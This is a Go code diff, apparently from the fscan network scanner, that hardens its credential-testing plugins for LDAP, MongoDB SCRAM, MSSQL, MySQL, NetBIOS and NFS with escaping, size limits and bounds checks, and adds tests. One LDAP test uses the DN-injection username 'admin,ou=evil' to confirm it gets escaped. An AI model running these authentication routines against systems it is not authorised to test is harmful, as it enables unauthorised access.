binary.BigEndian.PutUint32(packet, maxKafkaResponseSize+1)
if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil {
t.Fatal("kafkaRecv() error = nil, want too-large response error")
}
}
func TestKafkaRecvRejectsShortResponse(t *testing.T) {
packet := make([]byte, 4)
binary.BigEndian.PutUint32(packet, 3)
if _, err := kafkaRecv(&chunkedKafkaReader{data: packet}); err == nil {
t.Fatal("kafkaRecv() error = nil, want invalid length error")
}
}
+23 -6
View File
@@ -5,6 +5,7 @@ package services
import (
"context"
"fmt"
"time"
ldaplib "github.com/go-ldap/ldap/v3"
"github.com/shadow1ng/fscan/common"
@@ -78,12 +79,17 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred
Error: err,
}
}
stopCancelClose := context.AfterFunc(ctx, func() {
_ = conn.Close()
})
defer stopCancelClose()
// 尝试多种DN格式进行绑定测试
escapedUser := ldaplib.EscapeDN(cred.Username)
dnFormats := []string{
fmt.Sprintf("cn=%s,dc=example,dc=com", cred.Username),
fmt.Sprintf("uid=%s,dc=example,dc=com", cred.Username),
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", cred.Username),
fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser),
fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser),
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser),
cred.Username,
}
@@ -171,6 +177,10 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo,
Error: err,
}
}
stopCancelClose := context.AfterFunc(ctx, func() {
_ = conn.Close()
})
defer stopCancelClose()
if err := conn.NTLMBindWithHash(domain, username, hash); err == nil {
return &AuthResult{
@@ -212,6 +222,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses
} else {
conn = ldaplib.NewConn(tcpConn, false)
}
conn.SetTimeout(session.Config.Timeout)
conn.Start()
resultChan <- result{conn, nil}
@@ -222,9 +233,15 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, ses
return res.conn, res.err
case <-ctx.Done():
go func() {
res := <-resultChan
if res.conn != nil {
_ = res.conn.Close()
timer := time.NewTimer(authCleanupWait())
defer timer.Stop()
select {
case res := <-resultChan:
if res.conn != nil {
_ = res.conn.Close()
}
case <-timer.C:
}
}()
return nil, ctx.Err()
+30
View File
@@ -0,0 +1,30 @@
//go:build plugin_ldap || !plugin_selective
package services
import (
"fmt"
"testing"
ldaplib "github.com/go-ldap/ldap/v3"
)
func TestLDAPDNFormatsEscapeUsernameValue(t *testing.T) {
username := "admin,ou=evil"
escapedUser := ldaplib.EscapeDN(username)
got := []string{
fmt.Sprintf("cn=%s,dc=example,dc=com", escapedUser),
fmt.Sprintf("uid=%s,dc=example,dc=com", escapedUser),
fmt.Sprintf("cn=%s,ou=users,dc=example,dc=com", escapedUser),
username,
}
for _, dn := range got[:3] {
if dn == "cn=admin,ou=evil,dc=example,dc=com" || dn == "uid=admin,ou=evil,dc=example,dc=com" {
t.Fatalf("DN was not escaped: %q", dn)
}
}
if got[0] != `cn=admin\,ou=evil,dc=example,dc=com` {
t.Fatalf("escaped DN = %q", got[0])
}
}
+255 -23
View File
@@ -4,12 +4,17 @@ package services
import (
"context"
"crypto/hmac"
"crypto/md5"
"crypto/rand"
"crypto/sha1"
"encoding/base64"
"encoding/binary"
"fmt"
"io"
"math"
"net"
"strconv"
"strings"
"sync/atomic"
"time"
@@ -17,6 +22,7 @@ import (
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
"golang.org/x/crypto/pbkdf2"
)
// MongoDBPlugin MongoDB扫描插件(纯 raw TCP 实现,无重型依赖)
@@ -108,12 +114,13 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
// Step 2: saslStart SCRAM-SHA-1
nonce := randomString(24)
saslPayload := "n=" + cred.Username + ",r=" + nonce
clientFirstBare := "n=" + cred.Username + ",r=" + nonce
saslPayload := "n,," + clientFirstBare
saslStartBody := mongoDoc{
"saslStart": 1,
"mechanism": "SCRAM-SHA-1",
"payload": base64EncodeStr(saslPayload),
"payload": []byte(saslPayload),
"autoAuthorize": 1,
}
saslStartCmd := buildMongoCommand("admin", saslStartBody)
@@ -127,21 +134,48 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
}
// saslStart 响应检查:
// - ok:0 + code:18 → 认证失败
// - ok:1 + conversationId + payload → 认证有效
respStr := string(resp)
if strings.Contains(respStr, "\"ok\":0") || strings.Contains(respStr, "Authentication failed") {
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed")}
startReply, err := parseMongoCommandReply(resp)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
}
if !startReply.ok {
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", startReply.errmsg)}
}
if !startReply.conversationSet || len(startReply.payload) == 0 {
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("invalid saslStart response")}
}
// 如果在响应中找到 conversationId,说明凭据有效
if strings.Contains(respStr, "conversationId") {
state.IncrementTCPSuccessPacketCount()
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
serverFirst := string(startReply.payload)
clientFinal, err := buildMongoSCRAMClientFinal(cred.Username, cred.Password, clientFirstBare, serverFirst)
if err != nil {
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err}
}
saslContinueBody := mongoDoc{
"saslContinue": 1,
"conversationId": int(startReply.conversationID),
"payload": []byte(clientFinal),
}
saslContinueCmd := buildMongoCommand("admin", saslContinueBody)
if _, err := sendMongoMsg(ctx, conn, saslContinueCmd, timeout); err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
}
resp, err = readMongoMsg(conn, timeout)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
}
finalReply, err := parseMongoCommandReply(resp)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
}
if !finalReply.ok {
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", finalReply.errmsg)}
}
// 无认证失败的明确信号 = 尝试成功
state.IncrementTCPSuccessPacketCount()
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
}
@@ -149,9 +183,10 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo
// ── MongoDB wire protocol 工具 ──────────────────────────────────
const (
opMsg uint32 = 2013
opQuery uint32 = 2004
opReply uint32 = 1
opMsg uint32 = 2013
opQuery uint32 = 2004
opReply uint32 = 1
maxMongoMessageBody = 1024 * 1024
)
var mongoRequestID uint32
@@ -225,7 +260,7 @@ func buildBSON(doc mongoDoc) []byte {
buf = append(buf, []byte(k)...)
buf = append(buf, 0x00)
b := []byte(val)
buf = append(buf, byte(len(b)+1), 0, 0, 0)
buf = binary.LittleEndian.AppendUint32(buf, uint32(len(b)+1))
buf = append(buf, b...)
buf = append(buf, 0x00)
case int:
@@ -235,13 +270,16 @@ func buildBSON(doc mongoDoc) []byte {
i32 := make([]byte, 4)
binary.LittleEndian.PutUint32(i32, uint32(val))
buf = append(buf, i32...)
case int64:
buf = append(buf, 0x12) // type int64
buf = append(buf, []byte(k)...)
buf = append(buf, 0x00)
buf = binary.LittleEndian.AppendUint64(buf, uint64(val))
case float64:
buf = append(buf, 0x01) // type double
buf = append(buf, []byte(k)...)
buf = append(buf, 0x00)
f64 := make([]byte, 8)
binary.LittleEndian.PutUint64(f64, uint64(val))
buf = append(buf, f64...)
buf = binary.LittleEndian.AppendUint64(buf, math.Float64bits(val))
case mongoDoc:
buf = append(buf, 0x03) // type document
buf = append(buf, []byte(k)...)
@@ -252,7 +290,7 @@ func buildBSON(doc mongoDoc) []byte {
buf = append(buf, 0x05) // type binary
buf = append(buf, []byte(k)...)
buf = append(buf, 0x00)
buf = append(buf, byte(len(val)), 0, 0, 0)
buf = binary.LittleEndian.AppendUint32(buf, uint32(len(val)))
buf = append(buf, 0x00) // subtype 0
buf = append(buf, val...)
case bool:
@@ -301,8 +339,11 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) {
}
// 读取剩余 body
bodyLen := int(msgLen) - 16
if bodyLen <= 0 || bodyLen > 1024*1024 {
return nil, nil
if bodyLen == 0 {
return []byte{}, nil
}
if bodyLen > maxMongoMessageBody {
return nil, fmt.Errorf("mongodb response too large: %d", msgLen)
}
body := make([]byte, bodyLen)
if _, err := io.ReadFull(conn, body); err != nil {
@@ -316,6 +357,197 @@ func readMongoMsg(conn io.Reader, timeout time.Duration) ([]byte, error) {
return body, nil
}
type mongoCommandReply struct {
ok bool
conversationID int32
conversationSet bool
payload []byte
done bool
errmsg string
}
func parseMongoCommandReply(doc []byte) (mongoCommandReply, error) {
var reply mongoCommandReply
if len(doc) < 5 {
return reply, fmt.Errorf("short bson document")
}
docLen := int(binary.LittleEndian.Uint32(doc[:4]))
if docLen < 5 || docLen > len(doc) {
return reply, fmt.Errorf("invalid bson document length: %d", docLen)
}
pos := 4
for pos < docLen-1 {
typ := doc[pos]
pos++
keyStart := pos
for pos < docLen && doc[pos] != 0 {
pos++
}
if pos >= docLen {
return reply, fmt.Errorf("unterminated bson key")
}
key := string(doc[keyStart:pos])
pos++
switch typ {
case 0x01: // double
if pos+8 > docLen {
return reply, fmt.Errorf("short bson double")
}
if key == "ok" {
reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0
}
pos += 8
case 0x02: // string
if pos+4 > docLen {
return reply, fmt.Errorf("short bson string length")
}
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
pos += 4
if n <= 0 || pos+n > docLen {
return reply, fmt.Errorf("invalid bson string length: %d", n)
}
value := string(doc[pos : pos+n-1])
pos += n
switch key {
case "errmsg":
reply.errmsg = value
case "payload":
reply.payload = []byte(value)
}
case 0x05: // binary
if pos+5 > docLen {
return reply, fmt.Errorf("short bson binary")
}
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
pos += 5 // length + subtype
if n < 0 || pos+n > docLen {
return reply, fmt.Errorf("invalid bson binary length: %d", n)
}
if key == "payload" {
reply.payload = append([]byte(nil), doc[pos:pos+n]...)
}
pos += n
case 0x03, 0x04: // document, array
if pos+4 > docLen {
return reply, fmt.Errorf("short bson embedded document")
}
n := int(binary.LittleEndian.Uint32(doc[pos : pos+4]))
if n < 5 || pos+n > docLen {
return reply, fmt.Errorf("invalid bson embedded document length: %d", n)
}
pos += n
case 0x07: // objectId
if pos+12 > docLen {
return reply, fmt.Errorf("short bson objectId")
}
pos += 12
case 0x08: // bool
if pos+1 > docLen {
return reply, fmt.Errorf("short bson bool")
}
if key == "done" {
reply.done = doc[pos] != 0
}
if key == "ok" {
reply.ok = doc[pos] != 0
}
pos++
case 0x10: // int32
if pos+4 > docLen {
return reply, fmt.Errorf("short bson int32")
}
value := int32(binary.LittleEndian.Uint32(doc[pos : pos+4]))
if key == "conversationId" {
reply.conversationID = value
reply.conversationSet = true
}
if key == "ok" {
reply.ok = value != 0
}
pos += 4
case 0x09, 0x11: // datetime, timestamp
if pos+8 > docLen {
return reply, fmt.Errorf("short bson fixed64")
}
pos += 8
case 0x0a, 0x7f, 0xff: // null, maxKey, minKey
case 0x12: // int64
if pos+8 > docLen {
return reply, fmt.Errorf("short bson int64")
}
if key == "ok" {
reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0
}
pos += 8
case 0x13: // decimal128
if pos+16 > docLen {
return reply, fmt.Errorf("short bson decimal128")
}
pos += 16
default:
return reply, fmt.Errorf("unsupported bson type 0x%02x for key %s", typ, key)
}
}
return reply, nil
}
func buildMongoSCRAMClientFinal(username, password, clientFirstBare, serverFirst string) (string, error) {
attrs := parseSCRAMAttributes(serverFirst)
serverNonce := attrs["r"]
saltB64 := attrs["s"]
iterText := attrs["i"]
if serverNonce == "" || saltB64 == "" || iterText == "" {
return "", fmt.Errorf("invalid SCRAM server-first payload")
}
clientNonce := scramAttr(clientFirstBare, "r")
if clientNonce == "" || !strings.HasPrefix(serverNonce, clientNonce) {
return "", fmt.Errorf("invalid SCRAM nonce")
}
salt, err := base64.StdEncoding.DecodeString(saltB64)
if err != nil {
return "", fmt.Errorf("invalid SCRAM salt: %w", err)
}
iterations, err := strconv.Atoi(iterText)
if err != nil || iterations <= 0 {
return "", fmt.Errorf("invalid SCRAM iteration count")
}
clientFinalWithoutProof := "c=biws,r=" + serverNonce
authMessage := clientFirstBare + "," + serverFirst + "," + clientFinalWithoutProof
digest := md5.Sum([]byte(username + ":mongo:" + password))
saltedPassword := pbkdf2.Key([]byte(fmt.Sprintf("%x", digest)), salt, iterations, sha1.Size, sha1.New)
clientKey := mongoHMAC(saltedPassword, []byte("Client Key"))
storedKey := sha1.Sum(clientKey)
clientSignature := mongoHMAC(storedKey[:], []byte(authMessage))
proof := make([]byte, len(clientKey))
for i := range clientKey {
proof[i] = clientKey[i] ^ clientSignature[i]
}
return clientFinalWithoutProof + ",p=" + base64.StdEncoding.EncodeToString(proof), nil
}
func parseSCRAMAttributes(payload string) map[string]string {
attrs := make(map[string]string)
for _, part := range strings.Split(payload, ",") {
if len(part) < 3 || part[1] != '=' {
continue
}
attrs[part[:1]] = part[2:]
}
return attrs
}
func scramAttr(payload, key string) string {
return parseSCRAMAttributes(payload)[key]
}
func mongoHMAC(key, data []byte) []byte {
mac := hmac.New(sha1.New, key)
_, _ = mac.Write(data)
return mac.Sum(nil)
}
// dialTCP 带超时的 TCP 连接
func dialTCP(ctx context.Context, addr string, timeout time.Duration) (net.Conn, error) {
dialer := net.Dialer{Timeout: timeout}
+130
View File
@@ -0,0 +1,130 @@
//go:build plugin_mongodb || !plugin_selective
package services
import (
"bytes"
"encoding/base64"
"encoding/binary"
"strings"
"testing"
"time"
)
func TestReadMongoMsgRejectsTooLargeResponse(t *testing.T) {
header := make([]byte, 16)
binary.LittleEndian.PutUint32(header[:4], uint32(16+maxMongoMessageBody+1))
_, err := readMongoMsg(bytes.NewReader(header), time.Second)
if err == nil {
t.Fatal("readMongoMsg() error = nil, want too-large response error")
}
if !strings.Contains(err.Error(), "too large") {
t.Fatalf("readMongoMsg() error = %v, want too large", err)
}
}
func TestReadMongoMsgHandlesEmptyBody(t *testing.T) {
header := make([]byte, 16)
binary.LittleEndian.PutUint32(header[:4], 16)
got, err := readMongoMsg(bytes.NewReader(header), time.Second)
if err != nil {
t.Fatalf("readMongoMsg() error = %v", err)
}
if len(got) != 0 {
t.Fatalf("readMongoMsg() len = %d, want 0", len(got))
}
}
func TestBuildBSONEncodesFullStringAndBinaryLengths(t *testing.T) {
longString := strings.Repeat("a", 300)
longBinary := bytes.Repeat([]byte{0x42}, 300)
doc := buildBSON(mongoDoc{"s": longString})
pos := 4
if doc[pos] != 0x02 {
t.Fatalf("first bson type = 0x%02x, want string", doc[pos])
}
pos += 1 + len("s") + 1
if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longString)+1) {
t.Fatalf("string length = %d, want %d", got, len(longString)+1)
}
doc = buildBSON(mongoDoc{"b": longBinary})
pos = 4
if doc[pos] != 0x05 {
t.Fatalf("first bson type = 0x%02x, want binary", doc[pos])
}
pos += 1 + len("b") + 1
if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longBinary)) {
t.Fatalf("binary length = %d, want %d", got, len(longBinary))
}
}
func TestBuildBSONEncodesFloat64Bits(t *testing.T) {
doc := buildBSON(mongoDoc{"ok": 1.5})
pos := 4
if doc[pos] != 0x01 {
t.Fatalf("bson type = 0x%02x, want double", doc[pos])
}
pos += 1 + len("ok") + 1
if got := binary.LittleEndian.Uint64(doc[pos : pos+8]); got != 0x3ff8000000000000 {
t.Fatalf("double bits = 0x%x, want 1.5 bits", got)
}
}
func TestParseMongoCommandReplyReadsSCRAMFields(t *testing.T) {
payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096")
doc := buildBSON(mongoDoc{
"ok": 1,
"conversationId": 7,
"payload": payload,
"done": false,
})
reply, err := parseMongoCommandReply(doc)
if err != nil {
t.Fatalf("parseMongoCommandReply() error = %v", err)
}
if !reply.ok || !reply.conversationSet || reply.conversationID != 7 || string(reply.payload) != string(payload) {
t.Fatalf("unexpected reply: %+v", reply)
}
}
func TestParseMongoCommandReplySkipsExtraBSONFields(t *testing.T) {
payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096")
doc := buildBSON(mongoDoc{
"$clusterTime": mongoDoc{"clusterTime": 1},
"operationTime": int64(123),
"ok": 1,
"conversationId": 9,
"payload": payload,
})
reply, err := parseMongoCommandReply(doc)
if err != nil {
t.Fatalf("parseMongoCommandReply() error = %v", err)
}
if !reply.ok || reply.conversationID != 9 || string(reply.payload) != string(payload) {
t.Fatalf("unexpected reply: %+v", reply)
}
}
func TestBuildMongoSCRAMClientFinalRejectsBadNonce(t *testing.T) {
serverFirst := "r=othernonce,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096"
if _, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst); err == nil {
t.Fatal("buildMongoSCRAMClientFinal() error = nil, want nonce error")
}
}
func TestBuildMongoSCRAMClientFinalBuildsProof(t *testing.T) {
serverFirst := "r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096"
got, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst)
if err != nil {
t.Fatalf("buildMongoSCRAMClientFinal() error = %v", err)
}
if !strings.HasPrefix(got, "c=biws,r=clientserver,p=") {
t.Fatalf("client final = %q", got)
}
}
+4
View File
@@ -23,6 +23,7 @@ const (
tdsVersion74 = 0x74000004
tdsDefaultPacketLen = 4096
maxTDSMessageSize = 1024 * 1024
tdsPreloginVersion = 0
tdsPreloginEncryption = 1
@@ -439,6 +440,9 @@ func mssqlReadMessage(r io.Reader) (byte, []byte, error) {
if _, err := io.ReadFull(r, chunk); err != nil {
return 0, nil, err
}
if len(payload)+len(chunk) > maxTDSMessageSize {
return 0, nil, fmt.Errorf("mssql: message too large")
}
payload = append(payload, chunk...)
if header[1]&tdsStatusEOM != 0 {
return packetType, payload, nil
+24
View File
@@ -37,3 +37,27 @@ func TestMSSQLLogin7DoesNotExposeClientIdentity(t *testing.T) {
}
}
}
func TestMSSQLReadMessageRejectsOversizedMultipartMessage(t *testing.T) {
var packet bytes.Buffer
remaining := maxTDSMessageSize + 1
for remaining > 0 {
chunkLen := remaining
if chunkLen > 65527 {
chunkLen = 65527
}
remaining -= chunkLen
status := byte(0)
if remaining == 0 {
status = tdsStatusEOM
}
header := []byte{tdsPacketReply, status, 0, 0, 0, 0, 1, 0}
binary.BigEndian.PutUint16(header[2:4], uint16(chunkLen+8))
packet.Write(header)
packet.Write(bytes.Repeat([]byte{0x41}, chunkLen))
}
if _, _, err := mssqlReadMessage(&packet); err == nil {
t.Fatal("mssqlReadMessage() error = nil, want oversized message error")
}
}
+40 -13
View File
@@ -6,9 +6,11 @@ import (
"context"
"database/sql"
"fmt"
"io"
"log"
"net"
"strconv"
"strings"
"time"
"github.com/go-sql-driver/mysql"
@@ -77,8 +79,14 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
// doMySQLAuth 执行MySQL认证
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds",
cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds()))
connStr, err := mySQLConnString(cred.Username, cred.Password, info, config.Timeout)
if err != nil {
return &AuthResult{
Success: false,
ErrorType: ErrorTypeAuth,
Error: err,
}
}
db, err := sql.Open("mysql", connStr)
if err != nil {
@@ -115,6 +123,21 @@ func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cr
}
}
func mySQLConnString(username, password string, info *common.HostInfo, timeout time.Duration) (string, error) {
if strings.ContainsAny(username, ":@/") {
return "", fmt.Errorf("mysql username contains unsupported DSN delimiter")
}
cfg := mysql.NewConfig()
cfg.User = username
cfg.Passwd = password
cfg.Net = "tcp"
cfg.Addr = net.JoinHostPort(info.Host, strconv.Itoa(info.Port))
cfg.DBName = "information_schema"
cfg.Params = map[string]string{"charset": "utf8"}
cfg.Timeout = timeout
return cfg.FormatDSN(), nil
}
// classifyMySQLErrorType MySQL错误分类
func classifyMySQLErrorType(err error) ErrorType {
if err == nil {
@@ -173,28 +196,32 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo
func (p *MySQLPlugin) readMySQLBanner(conn net.Conn, config *common.Config) string {
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
handshake := make([]byte, 256)
n, err := conn.Read(handshake)
if err != nil || n < 10 {
header := make([]byte, 5)
if _, err := io.ReadFull(conn, header); err != nil {
return ""
}
if handshake[4] != 10 {
if header[4] != 10 {
return ""
}
versionStart := 5
versionEnd := versionStart
for versionEnd < n && handshake[versionEnd] != 0 {
versionEnd++
version := make([]byte, 0, 64)
var b [1]byte
for len(version) < 250 {
if _, err := io.ReadFull(conn, b[:]); err != nil {
return ""
}
if b[0] == 0 {
break
}
version = append(version, b[0])
}
if versionEnd <= versionStart {
if len(version) == 0 {
return ""
}
versionStr := string(handshake[versionStart:versionEnd])
return fmt.Sprintf("MySQL %s", versionStr)
return fmt.Sprintf("MySQL %s", string(version))
}
func init() {
+87
View File
@@ -0,0 +1,87 @@
//go:build plugin_mysql || !plugin_selective
package services
import (
"io"
"net"
"strings"
"testing"
"time"
"github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
)
type chunkedMySQLConn struct {
data []byte
chunkSize int
}
func (c *chunkedMySQLConn) Read(p []byte) (int, error) {
if len(c.data) == 0 {
return 0, io.EOF
}
n := len(c.data)
if c.chunkSize > 0 && n > c.chunkSize {
n = c.chunkSize
}
if n > len(p) {
n = len(p)
}
copy(p, c.data[:n])
c.data = c.data[n:]
return n, nil
}
func (c *chunkedMySQLConn) Write([]byte) (int, error) { return 0, nil }
func (c *chunkedMySQLConn) Close() error { return nil }
func (c *chunkedMySQLConn) LocalAddr() net.Addr { return nil }
func (c *chunkedMySQLConn) RemoteAddr() net.Addr { return nil }
func (c *chunkedMySQLConn) SetDeadline(time.Time) error { return nil }
func (c *chunkedMySQLConn) SetReadDeadline(time.Time) error { return nil }
func (c *chunkedMySQLConn) SetWriteDeadline(time.Time) error {
return nil
}
func TestReadMySQLBannerHandlesChunkedHandshake(t *testing.T) {
data := []byte{0x2a, 0x00, 0x00, 0x00, 0x0a}
data = append(data, []byte("8.0.36\x00")...)
got := NewMySQLPlugin().readMySQLBanner(&chunkedMySQLConn{data: data, chunkSize: 1}, &common.Config{Timeout: time.Second})
if got != "MySQL 8.0.36" {
t.Fatalf("readMySQLBanner() = %q, want MySQL 8.0.36", got)
}
}
func TestMySQLConnStringEscapesCredentialsAndIPv6(t *testing.T) {
info := &common.HostInfo{Host: "2001:db8::1", Port: 3306}
got, err := mySQLConnString("user", "pa:ss@/word", info, 3*time.Second)
if err != nil {
t.Fatalf("mySQLConnString() error = %v", err)
}
for _, want := range []string{
"user:pa:ss@/word@tcp([2001:db8::1]:3306)/information_schema",
"charset=utf8",
"timeout=3s",
} {
if !strings.Contains(got, want) {
t.Fatalf("mySQLConnString() = %q, missing %q", got, want)
}
}
cfg, err := mysql.ParseDSN(got)
if err != nil {
t.Fatalf("mysql.ParseDSN() error = %v", err)
}
if cfg.User != "user" || cfg.Passwd != "pa:ss@/word" || cfg.Addr != "[2001:db8::1]:3306" {
t.Fatalf("parsed DSN user/pass/addr = %q/%q/%q", cfg.User, cfg.Passwd, cfg.Addr)
}
}
func TestMySQLConnStringRejectsUnsupportedUsernameDelimiters(t *testing.T) {
info := &common.HostInfo{Host: "127.0.0.1", Port: 3306}
if _, err := mySQLConnString("user:name", "pass", info, time.Second); err == nil {
t.Fatal("mySQLConnString() error = nil, want unsupported delimiter error")
}
}
+2 -3
View File
@@ -5,7 +5,6 @@ package services
import (
"context"
"fmt"
"io"
"net/http"
"strings"
@@ -163,7 +162,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode == 200 {
body, err := io.ReadAll(resp.Body)
body, err := readServiceHTTPBody(resp.Body)
if err != nil {
return &ScanResult{
Success: false,
@@ -221,7 +220,7 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo
if serverHeader != "" && strings.Contains(strings.ToLower(serverHeader), "neo4j") {
banner = "Neo4j"
} else if resp.StatusCode == 200 || resp.StatusCode == 401 {
body, err := io.ReadAll(resp.Body)
body, err := readServiceHTTPBody(resp.Body)
if err != nil {
return &ScanResult{
Success: false,
+2 -27
View File
@@ -1,39 +1,14 @@
//go:build plugin_neo4j || !plugin_selective
package services
import (
"context"
"net"
"net/http"
"net/http/httptest"
"net/url"
"strconv"
"testing"
"github.com/shadow1ng/fscan/common"
)
func testSession() *common.ScanSession {
cfg := common.NewConfig()
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
}
func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo {
t.Helper()
u, err := url.Parse(server.URL)
if err != nil {
t.Fatalf("Parse server URL error = %v", err)
}
host, portText, err := net.SplitHostPort(u.Host)
if err != nil {
t.Fatalf("SplitHostPort error = %v", err)
}
port, err := strconv.Atoi(portText)
if err != nil {
t.Fatalf("Atoi port error = %v", err)
}
return &common.HostInfo{Host: host, Port: port}
}
func TestNeo4jIdentifyRejectsGenericHTTP(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte("plain http service"))
+3 -2
View File
@@ -5,6 +5,7 @@ package services
import (
"bytes"
"context"
"encoding/binary"
"fmt"
"net"
"strings"
@@ -360,13 +361,13 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) {
// parseNTLMInfo 解析NTLM信息
func (p *NetBIOSPlugin) parseNTLMInfo(data []byte, info *NetBIOSInfo) {
if len(data) < 45 {
if len(data) < 48 {
return
}
// 获取Target Info偏移和长度
targetInfoLength := int(data[40]) + int(data[41])*256
targetInfoOffset := int(data[44])
targetInfoOffset := int(binary.LittleEndian.Uint32(data[44:48]))
if targetInfoOffset+targetInfoLength > len(data) {
return
+40
View File
@@ -0,0 +1,40 @@
//go:build plugin_netbios || !plugin_selective
package services
import (
"encoding/binary"
"testing"
"unicode/utf16"
)
func TestParseNTLMInfoUsesFullTargetInfoOffset(t *testing.T) {
p := NewNetBIOSPlugin()
info := &NetBIOSInfo{}
targetInfo := appendNTLMAVPair(nil, 0x0003, "HOST.example.local")
targetInfo = append(targetInfo, 0x00, 0x00, 0x00, 0x00)
const targetOffset = 300
data := make([]byte, targetOffset+len(targetInfo))
copy(data, "NTLMSSP\x00")
binary.LittleEndian.PutUint16(data[40:42], uint16(len(targetInfo)))
binary.LittleEndian.PutUint32(data[44:48], targetOffset)
copy(data[targetOffset:], targetInfo)
p.parseNTLMInfo(data, info)
if info.ComputerName != "HOST.example.local" {
t.Fatalf("ComputerName = %q, want HOST.example.local", info.ComputerName)
}
}
func appendNTLMAVPair(dst []byte, id uint16, value string) []byte {
encoded := utf16.Encode([]rune(value))
buf := make([]byte, 4+len(encoded)*2)
binary.LittleEndian.PutUint16(buf[0:2], id)
binary.LittleEndian.PutUint16(buf[2:4], uint16(len(encoded)*2))
for i, r := range encoded {
binary.LittleEndian.PutUint16(buf[4+i*2:6+i*2], r)
}
return append(dst, buf...)
}
+41 -13
View File
@@ -6,6 +6,7 @@ import (
"context"
"encoding/binary"
"fmt"
"io"
"time"
"github.com/shadow1ng/fscan/common"
@@ -88,13 +89,11 @@ func (p *NFSPlugin) rpcNullCall(conn interface {
return err
}
buf := make([]byte, 512)
n, err := conn.Read(buf)
if err != nil || n < 28 {
reply, err := readRPCFragment(conn, 512)
if err != nil || len(reply) < 24 {
return fmt.Errorf("short response")
}
reply := buf[4:n]
replyXID := binary.BigEndian.Uint32(reply[0:4])
if replyXID != xid {
return fmt.Errorf("xid mismatch")
@@ -119,15 +118,10 @@ func (p *NFSPlugin) getExports(conn interface {
return nil, err
}
// Read fragment header (4 bytes) + response
buf := make([]byte, 4096)
n, err := conn.Read(buf)
if err != nil || n < 28 {
return nil, fmt.Errorf("short response: %d bytes", n)
reply, err := readRPCFragment(conn, 4096)
if err != nil {
return nil, err
}
// Skip fragment header (4 bytes), parse RPC reply
reply := buf[4:n]
if len(reply) < 24 {
return nil, fmt.Errorf("invalid reply")
}
@@ -152,7 +146,16 @@ func (p *NFSPlugin) getExports(conn interface {
}
// verifier flavor + length
verifierLen := binary.BigEndian.Uint32(reply[offset+4 : offset+8])
if verifierLen > uint32(len(reply)-offset-8) {
return nil, fmt.Errorf("truncated verifier")
}
offset += 8 + int(verifierLen)
